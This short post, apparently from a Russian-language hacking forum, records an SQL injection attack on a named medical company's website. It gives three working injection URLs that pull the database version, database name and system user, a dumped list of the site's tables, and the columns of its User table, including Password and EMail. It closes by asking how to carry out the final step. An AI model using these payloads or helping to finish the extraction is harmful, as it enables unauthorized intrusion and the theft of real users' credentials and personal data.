MsSql:

http://www.raytelmedcorp.com/Content.asp?CategoryID=0&CurrentID=17+or+1=@@versi on--
http://www.raytelmedcorp.com/Content.asp?CategoryID=0&CurrentID=17+or+1=(select +db_name())--
http://www.raytelmedcorp.com/Content.asp?CategoryID=0&CurrentID=17+or+1=(select +system_user)--

Таблицы:
D99_Tmp
Category
D99_CMD
Dic_BodyPart
Dic_HX
Dic_Language
Dic_State
Dic_Test
dtproperties
ip
Message
Rights
Role
SessionAction
SessionLog
Siwebtmp
Subscriber
sysconstraints
syssegments
systables
User
v_Category
v_Rights
v_SessionActions

Нашел все колонки в таблице User:
ID
RoleRef
System
Name
Password
FirstName
LastName
EMail

Не получилось последнее:Как реализовать?